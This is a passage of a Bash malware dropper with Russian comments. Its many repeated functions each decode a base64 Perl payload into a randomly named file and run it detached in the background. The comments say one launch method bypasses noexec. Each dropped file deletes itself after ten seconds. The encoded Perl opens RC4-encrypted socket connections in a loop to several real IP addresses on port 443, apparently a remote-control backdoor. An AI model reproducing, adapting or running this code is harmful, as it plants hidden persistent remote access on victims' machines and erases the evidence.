        # Запускаем отдельный процесс, который поспит и удалит файл
        (sleep 10; rm -f "$fpath") >/dev/null 2>&1 &
        disown
    fi
}

f_c40d488a() {
    local use_gold=$1
    local idx=$2
    local perl_bin="$3"

    local workdir=""
    local method=""

    # Выбираем папку из нужного списка
    if [ "$use_gold" = "true" ]; then
        workdir="${gold_dirs[$idx]}"
        method="native"
    else
        workdir="${silver_dirs[$idx]}"
        method="interpreter"
    fi

    # Защита от пустых путей
    if [ -z "$workdir" ]; then return; fi

    local rname="$(gen_rand_name).pl"
    local fpath="$workdir/$rname"

    # Распаковка Base64
    base64 -d <<'B64_END' > "$fpath"
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xODYnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCgkgbXkgJHBhc3N3ID0gc2hpZnQo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oKCQl9Cgl9CgoJIGNsb3NlMDoKCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewoKCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0KCgkgfQoKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgoJIHNsZWVwIDE4MDsKfQo=
B64_END

    if [ -s "$fpath" ]; then
        # Подготовка прав
        chmod 755 "$fpath"
        sync

        # === ЗАПУСК ===
        if [ "$method" == "native" ]; then
            # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный"
            # Патчим путь к перлу в первой строке файла
            sed -i "1s|^#!.*|#!$perl_bin|" "$fpath"

            # Запускаем: nohup, фон, подавление вывода
            nohup "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла

        else
            # МЕТОД 2: INTERPRETER (perl script) - обходит noexec
            # Запускаем интерпретатор явно
            nohup "$perl_bin" "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла
        fi

        # === САМОУНИЧТОЖЕНИЕ ФАЙЛА ===
        # Запускаем отдельный процесс, который поспит и удалит файл
        (sleep 10; rm -f "$fpath") >/dev/null 2>&1 &
        disown
    fi
}

f_5be7439f() {
    local use_gold=$1
    local idx=$2
    local perl_bin="$3"

    local workdir=""
    local method=""

    # Выбираем папку из нужного списка
    if [ "$use_gold" = "true" ]; then
        workdir="${gold_dirs[$idx]}"
        method="native"
    else
        workdir="${silver_dirs[$idx]}"
        method="interpreter"
    fi

    # Защита от пустых путей
    if [ -z "$workdir" ]; then return; fi

    local rname="$(gen_rand_name).pl"
    local fpath="$workdir/$rname"

    # Распаковка Base64
    base64 -d <<'B64_END' > "$fpath"
IyEvdXNyL2Jpbi9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wXHgwMCI7CgoJCQkgJGNvdW50ZXIgPSAwOwoKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgoJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoKCQkJCSAkZWJ4ID0gdmVjKCRidWZmZXIwLCAxLCA4KTsKCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDEpOwoKCQkJCSAkZWR4ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgoJCQkJICRfcmV0ID0gMTsKCQkJfQoKCQl9Cgl9CgoJIGNsb3NlMDoKCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewoKCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0KCgkgfQoKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgoJIHNsZWVwIDE4MDsKfQo=
B64_END

    if [ -s "$fpath" ]; then
        # Подготовка прав
        chmod 755 "$fpath"
        sync

        # === ЗАПУСК ===
        if [ "$method" == "native" ]; then
            # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный"
            # Патчим путь к перлу в первой строке файла
            sed -i "1s|^#!.*|#!$perl_bin|" "$fpath"

            # Запускаем: nohup, фон, подавление вывода
            nohup "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла

        else
            # МЕТОД 2: INTERPRETER (perl script) - обходит noexec
            # Запускаем интерпретатор явно
            nohup "$perl_bin" "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла
        fi

        # === САМОУНИЧТОЖЕНИЕ ФАЙЛА ===
        # Запускаем отдельный процесс, который поспит и удалит файл
        (sleep 10; rm -f "$fpath") >/dev/null 2>&1 &
        disown
    fi
}

f_e66227d3() {
    local use_gold=$1
    local idx=$2
    local perl_bin="$3"

    local workdir=""
    local method=""

    # Выбираем папку из нужного списка
    if [ "$use_gold" = "true" ]; then
        workdir="${gold_dirs[$idx]}"
        method="native"
    else
        workdir="${silver_dirs[$idx]}"
        method="interpreter"
    fi

    # Защита от пустых путей
    if [ -z "$workdir" ]; then return; fi

    local rname="$(gen_rand_name).pl"
    local fpath="$workdir/$rname"

    # Распаковка Base64
    base64 -d <<'B64_END' > "$fpath"
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xODgnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoKCSBteSAkcG9ja2Vtb24wID0gMDsKCgkgbXkgJHBvY2tlbW9u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7IH0KCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgoJIHNsZWVwIDE4MDsKfQo=
B64_END

    if [ -s "$fpath" ]; then
        # Подготовка прав
        chmod 755 "$fpath"
        sync

        # === ЗАПУСК ===
        if [ "$method" == "native" ]; then
            # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный"
            # Патчим путь к перлу в первой строке файла
            sed -i "1s|^#!.*|#!$perl_bin|" "$fpath"

            # Запускаем: nohup, фон, подавление вывода
            nohup "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла

        else
            # МЕТОД 2: INTERPRETER (perl script) - обходит noexec
            # Запускаем интерпретатор явно
            nohup "$perl_bin" "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла
        fi

        # === САМОУНИЧТОЖЕНИЕ ФАЙЛА ===
        # Запускаем отдельный процесс, который поспит и удалит файл
        (sleep 10; rm -f "$fpath") >/dev/null 2>&1 &
        disown
    fi
}

f_5ca10014() {
    local use_gold=$1
    local idx=$2
    local perl_bin="$3"

    local workdir=""
    local method=""

    # Выбираем папку из нужного списка
    if [ "$use_gold" = "true" ]; then
        workdir="${gold_dirs[$idx]}"
        method="native"
    else
        workdir="${silver_dirs[$idx]}"
        method="interpreter"
    fi

    # Защита от пустых путей
    if [ -z "$workdir" ]; then return; fi

    local rname="$(gen_rand_name).pl"
    local fpath="$workdir/$rname"

    # Распаковка Base64
    base64 -d <<'B64_END' > "$fpath"
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xODknOwpteSAkcG9ydCA9IDQ0Mzs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SA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDEpOwoKCQkJCSAkZWR4ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgoJCQkJICRfcmV0ID0gMTsKCQkJfQoKCQl9Cgl9CgoJIGNsb3NlMDoKCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewoKCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0KCgkgfQoKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgoJIHNsZWVwIDE4MDsKfQo=
B64_END

    if [ -s "$fpath" ]; then
        # Подготовка прав
        chmod 755 "$fpath"
        sync

        # === ЗАПУСК ===
        if [ "$method" == "native" ]; then
            # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный"
            # Патчим путь к перлу в первой строке файла
            sed -i "1s|^#!.*|#!$perl_bin|" "$fpath"

            # Запускаем: nohup, фон, подавление вывода
            nohup "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла

        else
            # МЕТОД 2: INTERPRETER (perl script) - обходит noexec
            # Запускаем интерпретатор явно
            nohup "$perl_bin" "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла
        fi

        # === САМОУНИЧТОЖЕНИЕ ФАЙЛА ===
        # Запускаем отдельный процесс, который поспит и удалит файл
        (sleep 10; rm -f "$fpath") >/dev/null 2>&1 &
        disown
    fi
}

f_39aecc05() {
    local use_gold=$1
    local idx=$2
    local perl_bin="$3"

    local workdir=""
    local method=""

    # Выбираем папку из нужного списка
    if [ "$use_gold" = "true" ]; then
        workdir="${gold_dirs[$idx]}"
        method="native"
    else
        workdir="${silver_dirs[$idx]}"
        method="interpreter"
    fi

    # Защита от пустых путей
    if [ -z "$workdir" ]; then return; fi

    local rname="$(gen_rand_name).pl"
    local fpath="$workdir/$rname"

    # Распаковка Base64
    base64 -d <<'B64_END' > "$fpath"
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xOTAnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoKCSBteSAkcG9ja2Vtb24wID0gMDsKCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgoJIG15ICRwb2NrZW1vbjIgPSAwOwoKCSBteSAkcG9ja2Vtb24zID0gMDsKCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgoJIG15ICRwb2NrZW1vbjcgPSAwOwoKCSBteSAkcG9ja2Vtb244ID0gMDsKCgkgbXkgJHJjeCA9ICRzejsKCgkgbXkgJHJzaSA9IDA7CgoJIG15ICRyYnggPSAwOwoKCSBteS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vY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlYXgsICRyZW1haW5pbmc0KTsKCgkJCSB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0KCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCgkJCSBzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpID0gIlx4MDBceDAwXHgwMCI7CgoJCQkgJGNvdW50ZXIgPSAwOwoKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgoJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoKCQkJCSAkZWJ4ID0gdmVjKCRidWZmZXIwLCAxLCA4KTsKCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDEpOwoKCQkJCSAkZWR4ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgoJCQkJICRfcmV0ID0gMTsKCQkJfQoKCQl9Cgl9CgoJIGNsb3NlMDoKCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewoKCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0KCgkgfQoKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgoJIHNsZWVwIDE4MDsKfQo=
B64_END

    if [ -s "$fpath" ]; then
        # Подготовка прав
        chmod 755 "$fpath"
        sync

        # === ЗАПУСК ===
        if [ "$method" == "native" ]; then
            # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный"
            # Патчим путь к перлу в первой строке файла
            sed -i "1s|^#!.*|#!$perl_bin|" "$fpath"

            # Запускаем: nohup, фон, подавление вывода
            nohup "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла

        else
            # МЕТОД 2: INTERPRETER (perl script) - обходит noexec
            # Запускаем интерпретатор явно
            nohup "$perl_bin" "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла
        fi

        # === САМОУНИЧТОЖЕНИЕ ФАЙЛА ===
        # Запускаем отдельный процесс, который поспит и удалит файл
        (sleep 10; rm -f "$fpath") >/dev/null 2>&1 &
        disown
    fi
}

f_cc81e8b5() {
    local use_gold=$1
    local idx=$2
    local perl_bin="$3"

    local workdir=""
    local method=""

    # Выбираем папку из нужного списка
    if [ "$use_gold" = "true" ]; then
        workdir="${gold_dirs[$idx]}"
        method="native"
    else
        workdir="${silver_dirs[$idx]}"
        method="interpreter"
    fi

    # Защита от пустых путей
    if [ -z "$workdir" ]; then return; fi

    local rname="$(gen_rand_name).pl"
    local fpath="$workdir/$rname"

    # Распаковка Base64
    base64 -d <<'B64_END' > "$fpath"
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xOTEnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoKCSBteSAkbGVuZ3RoID0gc2hpZnQo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c2UoJHNvY2tldGFyclswXSk7CgoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewoKCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0KCgkgfQoKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgoJIHNsZWVwIDE4MDsKfQo=
B64_END

    if [ -s "$fpath" ]; then
        # Подготовка прав
        chmod 755 "$fpath"
        sync

        # === ЗАПУСК ===
        if [ "$method" == "native" ]; then
            # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный"
            # Патчим путь к перлу в первой строке файла
            sed -i "1s|^#!.*|#!$perl_bin|" "$fpath"

            # Запускаем: nohup, фон, подавление вывода
            nohup "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла

        else
            # МЕТОД 2: INTERPRETER (perl script) - обходит noexec
            # Запускаем интерпретатор явно
            nohup "$perl_bin" "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла
        fi

        # === САМОУНИЧТОЖЕНИЕ ФАЙЛА ===
        # Запускаем отдельный процесс, который поспит и удалит файл
        (sleep 10; rm -f "$fpath") >/dev/null 2>&1 &
        disown
    fi
}

f_a39f3484() {
    local use_gold=$1
    local idx=$2
    local perl_bin="$3"

    local workdir=""
    local method=""

    # Выбираем папку из нужного списка
    if [ "$use_gold" = "true" ]; then
        workdir="${gold_dirs[$idx]}"
        method="native"
    else
        workdir="${silver_dirs[$idx]}"
        method="interpreter"
    fi

    # Защита от пустых путей
    if [ -z "$workdir" ]; then return; fi

    local rname="$(gen_rand_name).pl"
    local fpath="$workdir/$rname"

    # Распаковка Base64
    base64 -d <<'B64_END' > "$fpath"
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdh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oKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgoJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoKCQkJCSAkZWJ4ID0gdmVjKCRidWZmZXIwLCAxLCA4KTsKCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDEpOwoKCQkJCSAkZWR4ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgoJCQkJICRfcmV0ID0gMTsKCQkJfQoKCQl9Cgl9CgoJIGNsb3NlMDoKCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewoKCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0KCgkgfQoKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgoJIHNsZWVwIDE4MDsKfQo=
B64_END

    if [ -s "$fpath" ]; then
        # Подготовка прав
        chmod 755 "$fpath"
        sync

        # === ЗАПУСК ===
        if [ "$method" == "native" ]; then
            # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный"
            # Патчим путь к перлу в первой строке файла
            sed -i "1s|^#!.*|#!$perl_bin|" "$fpath"

            # Запускаем: nohup, фон, подавление вывода
            nohup "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла

        else
            # МЕТОД 2: INTERPRETER (perl script) - обходит noexec
            # Запускаем интерпретатор явно
            nohup "$perl_bin" "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла
        fi

        # === САМОУНИЧТОЖЕНИЕ ФАЙЛА ===
        # Запускаем отдельный процесс, который поспит и удалит файл
        (sleep 10; rm -f "$fpath") >/dev/null 2>&1 &
        disown
    fi
}

f_2a229a08() {
    local use_gold=$1
    local idx=$2
    local perl_bin="$3"

    local workdir=""
    local method=""

    # Выбираем папку из нужного списка
    if [ "$use_gold" = "true" ]; then
        workdir="${gold_dirs[$idx]}"
        method="native"
    else
        workdir="${silver_dirs[$idx]}"
        method="interpreter"
    fi

    # Защита от пустых путей
    if [ -z "$workdir" ]; then return; fi

    local rname="$(gen_rand_name).pl"
    local fpath="$workdir/$rname"

    # Распаковка Base64
    base64 -d <<'B64_END' > "$fpath"
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xOTInOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoKCSBteSAkcG9ja2Vtb24wID0gMDsKCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgoJIG15ICRwb2NrZW1vbjIgPSAw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hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgoJIHNsZWVwIDE4MDsKfQo=
B64_END

    if [ -s "$fpath" ]; then
        # Подготовка прав
        chmod 755 "$fpath"
        sync

        # === ЗАПУСК ===
        if [ "$method" == "native" ]; then
            # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный"
            # Патчим путь к перлу в первой строке файла
            sed -i "1s|^#!.*|#!$perl_bin|" "$fpath"

            # Запускаем: nohup, фон, подавление вывода
            nohup "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла

        else
            # МЕТОД 2: INTERPRETER (perl script) - обходит noexec
            # Запускаем интерпретатор явно
            nohup "$perl_bin" "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла
        fi

        # === САМОУНИЧТОЖЕНИЕ ФАЙЛА ===
        # Запускаем отдельный процесс, который поспит и удалит файл
        (sleep 10; rm -f "$fpath") >/dev/null 2>&1 &
        disown
    fi
}

f_2c7df58f() {
    local use_gold=$1
    local idx=$2
    local perl_bin="$3"

    local workdir=""
    local method=""

    # Выбираем папку из нужного списка
    if [ "$use_gold" = "true" ]; then
        workdir="${gold_dirs[$idx]}"
        method="native"
    else
        workdir="${silver_dirs[$idx]}"
        method="interpreter"
    fi

    # Защита от пустых путей
    if [ -z "$workdir" ]; then return; fi

    local rname="$(gen_rand_name).pl"
    local fpath="$workdir/$rname"

    # Распаковка Base64
    base64 -d <<'B64_END' > "$fpath"
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xOTMnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNT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7CgoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDEpOwoKCQkJCSAkZWR4ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgoJCQkJICRfcmV0ID0gMTsKCQkJfQoKCQl9Cgl9CgoJIGNsb3NlMDoKCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewoKCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0KCgkgfQoKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgoJIHNsZWVwIDE4MDsKfQo=
B64_END

    if [ -s "$fpath" ]; then
        # Подготовка прав
        chmod 755 "$fpath"
        sync

        # === ЗАПУСК ===
        if [ "$method" == "native" ]; then
            # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный"
            # Патчим путь к перлу в первой строке файла
            sed -i "1s|^#!.*|#!$perl_bin|" "$fpath"

            # Запускаем: nohup, фон, подавление вывода
            nohup "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла

        else
            # МЕТОД 2: INTERPRETER (perl script) - обходит noexec
            # Запускаем интерпретатор явно
            nohup "$perl_bin" "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла
        fi

        # === САМОУНИЧТОЖЕНИЕ ФАЙЛА ===
        # Запускаем отдельный процесс, который поспит и удалит файл
        (sleep 10; rm -f "$fpath") >/dev/null 2>&1 &
        disown
    fi
}

f_3bf4790b() {
    local use_gold=$1
    local idx=$2
    local perl_bin="$3"

    local workdir=""
    local method=""

    # Выбираем папку из нужного списка
    if [ "$use_gold" = "true" ]; then
        workdir="${gold_dirs[$idx]}"
        method="native"
    else
        workdir="${silver_dirs[$idx]}"
        method="interpreter"
    fi

    # Защита от пустых путей
    if [ -z "$workdir" ]; then return; fi

    local rname="$(gen_rand_name).pl"
    local fpath="$workdir/$rname"

    # Распаковка Base64
    base64 -d <<'B64_END' > "$fpath"
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xOTQnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoKCSBteSAkcG9ja2Vtb24wID0gMDsKCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgoJIG15ICRwb2NrZW1vbjIgPSAwOwoKCSBteSAkcG9ja2Vtb24zID0gMDsKCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgoJIG15ICRwb2NrZW1vbjcgPSAwOwoKCSBteSAkcG9ja2Vtb244ID0gMDsKCgkgbXkgJHJjeCA9I